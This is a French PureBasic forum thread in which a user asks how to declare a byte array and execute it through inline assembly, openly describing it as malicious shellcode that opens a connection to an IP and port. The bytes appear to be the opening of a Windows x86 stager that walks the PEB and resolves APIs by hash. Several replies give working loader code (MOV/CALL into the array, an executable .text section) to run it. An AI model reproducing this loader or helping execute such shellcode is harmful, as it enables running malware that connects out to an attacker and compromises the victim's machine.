Page 1 sur 1

tableau de bytes

Publié : lun. 09/mars/2015 17:58
par jmg49
Bonjour,

J'ai de gros problème de syntaxe pour déclarer un tableau de bytes , et surtout pour l'appeler en ASM inline,

je connais la démarche à effectuer en delphi et c , en purebasic, je ne trouve pas trop d'infos vu qu'on touche là à un sujet sensible (shellcoding)

si vous aviez une piste , je suis preneur (en message privé si vous ne voulez pas que ça apparaisse en clair sur le forum,

Merci,

j'ai mon tableau comme ceci , peut être j'ai déjà tout faux , je ne laisse volontairement que quelques lignes, il est méchant le shellcode,

Code : Tout sélectionner


DataSection
 Array:
  
Data.b $fc,$e8,$89,$00,$00,$00,$60,$89,$e5,$31,$d2,$64,$8b,$52,$30
Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
Data.b $31,$c0,$ac,$3c,$61,$7c,$02,$2c,$20,$c1,$cf,$0d,$01,$c7,$e2
Data.b $f0,$52,$57,$8b,$52,$10,$8b,$42,$3c,$01,$d0,$8b,$40,$78,$85
Data.b $c0,$74,$4a,$01,$d0,$50,$8b,$48,$18,$8b,$58,$20,$01,$d3,$e3
Data.b $3c,$49,$8b,$34,$8b,$01,$d6,$31,$ff,$31,$c0,$ac,$c1,$cf,$0d
Data.b $01,$c7,$38,$e0,$75,$f4,$03,$7d,$f8,$3b,$7d,$24,$75,$e2,$58
EndDataSection

lea, EAX, Array 
call EAX 

Re: tableau de bytes

Publié : lun. 09/mars/2015 18:16
par Fig
tu as essayé de push ton adresse et de balancer un ret ?
Question idiote, comment tu as ordonné tes octets , little endian ?

Sinon avant d'aller plus avant, tu pourrais nous filer le désassemblage de ta section de code, histoire qu'on se fasse pas bananer en voulant "t'aider".

Re: tableau de bytes

Publié : lun. 09/mars/2015 18:39
par jmg49
processeur x86 => little endian

:D dans l'état tu ne risque rien , il manque d'autres lignes, pas de risque de banane, au pire c'est juste une connexion vers une ip/port

c'est surtout un problème de syntaxe , pas un problème de plantage . je ne sais comment déclarer le tableau en purebasic , les bytes également , j'ai trouvé quelques sources où on peut y trouver

$75,$5c ...Etc alors qu'en c/c++ on va être sur du \x75,\x5c etc ... alors j'ai claqué ça en datasection

de plus, les data.b => binary , je n'ai normalement pas besoin de caster ce n'est pas du char

Re: tableau de bytes

Publié : lun. 09/mars/2015 20:20
par Fig
Je parlais juste de vérifier que tu ne t'étais pas trompé en mettant byte sur le format de tes données et la manière dont elles vont être lues et exécutés.
Bref, ce n'est pas mes oignons :wink:
LEA utilise cette syntaxe LEA EAX,[adresse] et non LEA EAX,Adresse comme tu le fais... Cette instruction charge la valeur pointé par l'adresse, non l'adresse elle même.
Effectivement si tu passe par une variable Pb ca fonctionne...

Code : Tout sélectionner

adresse.i
DataSection
!table:
Data.b $fc,$e8,$89,$00,$00,$00,$60,$89,$e5,$31,$d2,$64,$8b,$52,$30
Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
Data.b $f0,$52,$57,$8b,$52,$10,$8b,$42,$3c,$01,$d0,$8b,$40,$78,$85
Data.b $c0,$74,$4a,$01,$d0,$50,$8b,$48,$18,$8b,$58,$20,$01,$d3,$e3
Data.b $3c,$49,$8b,$34,$8b,$01,$d6,$31,$ff,$31,$c0,$ac,$c1,$cf,$0d
Data.b $01,$c7,$38,$e0,$75,$f4,$03,$7d,$f8,$3b,$7d,$24,$75,$e2,$58
EndDataSection
! MOV [v_adresse],table 
! LEA EBX,[v_adresse]
! call EBX
Aussi, ne te sert pas d'un mot clé purebasic comme label, c'est plus prudent... (Array)
Avce Mov, c'est plus simple:

Code : Tout sélectionner

DataSection
!table:
Data.b $fc,$e8,$89,$00,$00,$00,$60,$89,$e5,$31,$d2,$64,$8b,$52,$30
Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
Data.b $f0,$52,$57,$8b,$52,$10,$8b,$42,$3c,$01,$d0,$8b,$40,$78,$85
Data.b $c0,$74,$4a,$01,$d0,$50,$8b,$48,$18,$8b,$58,$20,$01,$d3,$e3
Data.b $3c,$49,$8b,$34,$8b,$01,$d6,$31,$ff,$31,$c0,$ac,$c1,$cf,$0d
Data.b $01,$c7,$38,$e0,$75,$f4,$03,$7d,$f8,$3b,$7d,$24,$75,$e2,$58
EndDataSection
! MOV EAX,table
! CALL EAX

Re: tableau de bytes

Publié : mar. 10/mars/2015 8:57
par jmg49
en effet , c'est exactement la syntaxe qu'il me manquait merci bien !!

j'avais essayé au départ MOV beaucoup plus simple à utiliser mais je me suis perdu en route avec LEA....

Résolu pour moi merci !!! je ne vois pas de tag sur le message pour le fermer ...merci modérateur :wink:

Re: tableau de bytes

Publié : mar. 10/mars/2015 14:07
par djes
Pourquoi pas (sans avoir testé) ?

Code : Tout sélectionner

!call TABLE
End

DataSection
  !SECTION '.text' code readable executable
  !TABLE:
  Data.b $fc,$e8,$89,$00,$00,$00,$60,$89,$e5,$31,$d2,$64,$8b,$52,$30
  Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
  Data.b $f0,$52,$57,$8b,$52,$10,$8b,$42,$3c,$01,$d0,$8b,$40,$78,$85
  Data.b $c0,$74,$4a,$01,$d0,$50,$8b,$48,$18,$8b,$58,$20,$01,$d3,$e3
  Data.b $3c,$49,$8b,$34,$8b,$01,$d6,$31,$ff,$31,$c0,$ac,$c1,$cf,$0d
  Data.b $01,$c7,$38,$e0,$75,$f4,$03,$7d,$f8,$3b,$7d,$24,$75,$e2,$58 
  !ret
EndDataSection

Re: tableau de bytes

Publié : mar. 10/mars/2015 20:35
par Fig
J'aurais du y penser Image